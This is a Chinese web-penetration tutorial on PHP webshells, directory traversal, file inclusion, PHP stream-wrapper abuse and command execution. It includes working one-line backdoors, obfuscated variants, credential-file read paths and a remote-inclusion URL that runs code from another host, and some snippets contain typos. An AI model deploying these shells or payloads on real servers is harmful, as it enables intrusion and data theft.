制丨阿星

来源丨freebuff

作者丨Deutsh

文件上传漏洞:

一句话木马

一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量

执行函数:

  • eval()

  • assert()

  • create_function()

  • array_map()

  • array_filter()

  • call_user_func()

  • call_user_func_array()

eval()

将字符串当作PHP代码执行,注意一定要带分号;

<?php @eval($_POST['shell']);?>
将含有这个代码的PHP文件上传到服务器,命名为webshell.php后,只需要构造URL为其传递参数即可将其利用,也可以用例如菜刀、蚁剑这类工具

利用:

webshell.php?shell=phpinfo()

assert()

此函数正常情况下只在调试期间使用,又称断言函数,此函数作用与eval()类似,都可将括号中的字符串当作PHP代码执行

<?php @assert($_POST['shell']);?>
利用方式与eval()类似

creat_function()

该函数用于创建匿名函数

格式:

creat_function(参数,函数方法)

一句话木马的构造:

<?php $func = create_function('',$_POST['shell']);$func();?>
解释:因为不需要本地传入参数,所以第一项为空即可,当我们通过POST传入字符串时,会当作PHP代码执行

利用:

shell=phpinfo()

array_map()

有趣的函数

该函数会将数组中的每一个值通过回调函数依次执行得到结果,并返回一个新的数组

格式:

array_map(函数,数组)

一句话木马的构造:

<?php $func = $_REQUEST['func'];$way = $_REQUEST['way'];$array[0] = $way;$new_array =array_map($func,$way);?>
解释:将$way中的字符串作为$func中PHP代码的参数

利用:

?func=system()&way=whoami

call_user_func() | call_user_func_array()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func(回调函数,回调函数的参数)call_user_func_array(回调函数,将数组作为回调函数的参)

一句话木马的构造:

<?php call_user_func(assert,$_GET['cmd']);?>

<?php $array[0] = $_POST['shell'];call_user_func_array(eval,$array);?>

array_filter()

依次将array数组中的每个值传到函数中去

array_filter(array,callback)

一句话木马的构造:

<?php $cmd = $_POST['cmd'];$array[0] = $cmd;array_filter($array,assert)?>

<?php $func = $_POST['func'];$way = $_REQUEST['way'];$array[0] = $way;array_filter($array,$func);?.

文件操作函数

  • file_put_contents()

  • fputs()

  • fopen()

file_put_contents():把一个字符串写入文件中

fputs():把一个字符串写入文件中

二者区别:**file_puts_centents()可以直接写入**

                   **fputs()写入前,需要先fopen开文件**
<?php $test = "<?php @eval($_GET[''shell']);?>";file_put_contents('test1.php',$text);?>

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']);?>')

动态函数:

PHP函数直接由字符串拼接

<?php $_GET['a']($_GET['b'])?>

利用:?a=eval&b=phpinfo()

隐藏函数:

  • base64_decode()

  • pares_str()

  • str_replace()

base64_decode()

对要执行的被base64加密过的PHP代码进行解密

<?php $a=base64_decode("YXNzZXJ0");@a($_POST['shell']);?>

pares_str()

parse_str() 函数把查询字符串解析到变量中。

<?php $str="a=eval";parse_str($str);$a($_POST['shell']);?>

目录遍历漏洞

x01 Unix目录遍历攻击

通用的类Unix系统的目录遍历攻击字符串形如“../”。

0x02 Windows操作系统目录遍历攻击

对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“../”或者“..\”字符串。

0x03 URI编码形式的目录遍历攻击

一些网络应用会通过查询危险的字符串,例如:- ..- ..\- ../

来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:

  • %2e%2e%2f:解码为../

  • %2e%2e/:解码为../

  • ..%2f:解码为../

  • %2e%2e%5c:解码为..\

先包含再遍历

攻击形式:

../../../../../../../../../etc/paawd

文件包含漏洞

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。

文件包含漏洞执行包含文件的代码时,后缀名不会影响:即使后缀名时.txt也会正常执行其中的PHP代码

php文件包含函数:

  • include():找不到包含的文件时,警告,继续执行

  • include_once()

  • require():找不到包含的文件时,致命错误,停止执行

  • require_once()

    含once的表示只能包含一次

php包含函数

  • file_get_content():把整个文件读入一个字符串中。

示例代码:

<?php     $filename  = $_GET['filename'];    include($filename);?>

此包含脚本,一般是web中源代码有的

本地文/包含漏洞

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。

简而言之 :就是攻击者上传了一个带有include的PHP文件,导致攻击者可以便利目标服务器上的文件(配合文件遍历漏洞)

例如:再DVWA的low级别中,若在其www/dvwa/dvwa目录下,放入一个info.php文件(phpinfo()),此时在操作机中,可通过 目录遍历漏洞配合文件包含漏洞访问并执行该文件:

  1. 首先随意构造URL,通过报错信息,确认当前的目录为 www\dvwa\vulnerabilities\fi\index.php

  2. 而我们所放入的info.php文件位于与vulnerabilities处于同一层级的dvwa目录下

  3. 此时便可以通过文件遍历漏洞:通过 ../来对目录进行回溯

  4. ?page=../../dvwa/info.php 便可以通过包含漏洞,包含并执行该文件中的代码

Windows系统

c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件

一但发生了本地包含漏洞,就可能包含到甚至是遍历

为了防止包含漏洞的发生,在include环节会有一些过滤措施

防包含方式,给要包含的文件加上.html后缀<?php     $page  = $_GET['page'];    include($page."html");?>

应对方法:(同样适用于文件上传漏洞)

%00截断:

此方法要求较为苛刻

  1. magic_quotes_gpc = Off(若magic_quotes_gpc处于on的状态,会在语句中加\号)

  2. php版本<5.3.4(否则%00截断失效)

原理:URL中的%20表示ASCII编码中的0,而ASCII中的0作为保留字段,表示着字符串的结束

EXP

page=info.php%00

0x00截断:

此方法作用与%00相同,且要求也相同,不同在于操作手法

0x00是16进制的0,若想在文件的拓展名中加入16进制的0,直接改拓展名是没有效果的

方法:

  1. 在文件末尾加一些标志:info.php a (空格的16进制编码为0x20 a是为了标记空格の位置)

  2. 利用burp抓包(数据包传输时先变为16进制的形式)

  3. 在burp抓到的数据包中,通过HEX选项,将其改为16进制,找到拓展名的位置,将空格的0x20改为0x00

  4. forward 完成截断

路径长度截断:

Windows下目录最大长度为256字节,超出的部分会被丢弃

Linux下目录最大长度为4096字节,超出部分会被丢弃

EXP

?page=info.php............................................................................................................................................................................................

Content-Type

有时候后端会对上传文件的Content-Type进行限制

此时可以通过burp抓包,在报文中将Content-Type改为适合的类型

图片头

getimagesize(string filename) 此类函数会检查上传文件的文件头,判断其文件类型

此时可以在文件中加入 :

这个图片头,来绕过检测

远程文件包含漏洞:

要求:

php.ini中: allow_url_fopen = Onallow_url_include = On

可以通过在URL中附加参数,让web服务器到参数中的IP地址中获取并执行一个文件

EXP

?page=http://172.16.12.128/phpinfo.php

PHP伪协议

  1. file:// — 访问本地文件系统

  2. http:// — 访问 HTTP(s) 网址

  3. ftp:// — 访问 FTP(s) URLs

  4. php:// — 访问各个输入/输出流(I/O streams)

  5. zlib:// — 压缩流

  6. data:// — 数据(RFC 2397)

  7. glob:// — 查找匹配的文件路径模式

  8. phar:// — PHP 归档

  9. ssh2:// — Secure Shell 2

  10. rar:// — RAR

  11. ogg:// — 音频流

  12. except:/// — 处理交互式的流

FILE://

allow_url_fopen allow_url_include

均不用开启即可使用

格式:

file://文件的绝对路径

EXP

PHP://

allow_url_include

php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

allow_url_fopen

均不要开启

PHP://filter ——— 用于读取源码

参数

resource=     这个参数是必须的。它指定了你要筛选过滤的数据流。read=         该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。从web服务器中读取文件write=    该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。向web服务器中写入文件        任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

Eg:

?page=php://filter/read=convert.base64-encode / resource=info.php

PHP://input

是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行

allow_url_fopen :off/on allow_url_include:on

简而言之:该伪协议会把POST提交的数据当作代码执行

EXP:

注意:

写入一句话木马时,要配合fputs函数与fopen函数函数创建php文件才可以,直接写入无法执行

<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

若要在web服务器上写入文件:使用fputs与fopen

命令执行:直接输入PHP代码即可

作用与PHP://input类似,但在语法上有所区别:

allow_url_fopen = on

allow_url_include = on

用法1:

?page=data:text/plain,<?php PHP代码 ?>

EXP

用法2:

?page=data:text/plain;base64,编码后的PHP代码

EXP

ZIP://

allow_url_fopen() = on/off

allow_url_include() = on/off

可以直接访问压缩文件中的子文件(无需指定后缀名:即使后缀名是jpg也可以当作压缩文件执行)

格式

zip://archive.zip#dir/file.txt

archive.zip压缩文件的绝对路径

dir 压缩文件中要执行的子文件名

Eg:

?page=zip://D:\\www\\dvwa\\dvwa\\test.jpg%23info.php

注意:# 一定要用 URL编码格式下的%23代替,否则会出现错误

EXP

compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包 compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包

PHAR://

作用与zlib类似

EG:

命令执行漏洞

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

系统相关执行命令:

  • system()

  • passthru()

  • exec()

  • pcntl_exec()

  • shell_exec()

  • popen()

  • proc_open()

  • `反单引号

passthru()这4个命令执行函数,直接接收命令的参数即可 system("whoami")

pcntl_exec("/user/bash",array("whoami"));

参数1:制定了要执行程序的PATH,第二个参数以数组的形式,给第一个可执行程序传递

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生

STDIN、STDOUT、STDERR命令输入输出流,用于向控制台(linux shell终端、windows cmd终端)输入、输出内容,它们默认是已经打开的

STDIN: 只读 ←——'r'

STDOUT: 只写(正确信息) ←——w

STDERR:只写(错误信息)

<?php $handle = popen("/bin/ls", "r");?>

PHP会将反单引号间的代码当作命令执行

<?php echo `whoami`;?>

通过& && ;将要执行的命令进行拼接

  • & 无论如何拼接的命令都执行

  • && 只有在前一个命令执行成功的前提下,才会执行拼接的命令

  • ;一条一条执行

  • | “|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2 执行的结果

  • ||

php post 漏洞_文件包含上传漏洞目录遍历命令执行漏洞相关推荐

  1. java 文件保存目录结构_java web 实现文件夹上传(保留目录结构)

    javaweb上传文件 上传文件的jsp中的部分 上传文件同样可以使用form表单向后端发请求,也可以使用 ajax向后端发请求 1.通过form表单向后端发送请求 Save 改进后的代码不需要for ...

  2. Nginx 实现文件夹上传(保留目录结构)

    我们平时经常做的是上传文件,上传文件夹与上传文件类似,但也有一些不同之处,这次做了上传文件夹就记录下以备后用. 这次项目的需求: 支持大文件的上传和续传,要求续传支持所有浏览器,包括ie6,ie7,i ...

  3. HDFS文件夹上传和下载等命令

    目录 零.码仙励志 一.用浏览器查看hdfs目录下的文件夹和文件 二.HDFS命令 零.码仙励志 白茶清欢无别事,我在等风也等你 一.用浏览器查看hdfs目录下的文件夹和文件 在浏览器中输入IP地址+ ...

  4. java上传文件的二进制_文件的上传:二进制文件的上传;

    ***二进制文件上传的方法: ***在lib目录下:导入文件上传的开源架包:commons-fileupload-1.2.1.jar,commons-io-2.0.jar: 建立Servlet类:Up ...

  5. Linux 中 3 个文件打包上传和下载相关命令详解

    tar 命令 通过 SSH 访问服务器,难免会要用到压缩,解压缩,打包,解包等,这时候tar 命令就是必不可少的一个功能强大的工具.Linux 中最流行的tar是麻雀虽小,五脏俱全,功能强大. 使用t ...

  6. PHP大文件分割上传(分片上传)

    服务端为什么不能直接传大文件?跟php.ini里面的几个配置有关 upload_max_filesize = 2M //PHP最大能接受的文件大小 post_max_size = 8M //PHP能收 ...

  7. 服务器上传至云系统,上传至云服务器命令

    上传至云服务器命令 内容精选 换一换 本文介绍如何在 Linux 系统的本地机器上使用 FTP 服务,将文件从本地上传到云服务器中.已在待上传文件的云服务器中搭建 FTP 服务.如果您的云服务器为 W ...

  8. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  9. REC代码及命令执行漏洞

    RCE代码及命令执行漏洞 1.RCE介绍 全称:remote command/code execute 分为远程命令执行和远程代码执行 1.命令执行漏洞: 直接调用操作系统命令 代码执行漏洞: 靠执行 ...

最新文章

  1. springboot实现SSE服务端主动向客户端推送数据,java服务端向客户端推送数据,kotlin模拟客户端向服务端推送数据
  2. 这套完美的Java环境安装教程,完整,详细,清晰可观,让你一目了然,简单易懂。⊙﹏⊙...
  3. 基本概念_程序员基本功——链表的基本概念
  4. hdu1051 Wooden Sticks
  5. 直接拿来用!最火的Android开源项目(完结篇)(转)
  6. CSDN转载博客的方法
  7. Android Studio设置
  8. CSS 部分知识点 总结
  9. Angucomplete —— AngularJS 自动完成输入框
  10. Openproj 在64位操作系统报错errno=193
  11. SpringBoot+POI方式导出excel【加水印】
  12. [渝粤教育] 哈尔滨工业大学 大学计算机—计算思维导论 参考 资料
  13. 关于实时推送系统的那点事
  14. 小程序页面浏览到底部触发事件
  15. 2021年真正还能够用的一键制作词云图网站
  16. 焦作java培训_周口市转行做it
  17. Java中的即时编译器
  18. 苏州银行信息技术面试
  19. 文心一言对于宣传文案理解
  20. FT232RL USB串口与GP232RL软硬件兼容开发资料

热门文章

  1. 研究:随机因素使硬清扫区产生软件效应(Soft Shoulders)
  2. phpstudy下载安装简明教程+软件下载(图文)
  3. 去中心化的前端构建工具 — Vite
  4. 2011年6月20日
  5. 入门 AR 开发你必须要知道的事
  6. 杨学志《通信之道》9.3节相干解调公式推导
  7. MQ-2气体传感器特性解析
  8. [SD2.0大会]第二天的精彩课程:云计算、大型网站架构、SNS游戏
  9. iOS 开发第三方库全集
  10. 十问公务员(迄今为止我看到的最全面客观的评价)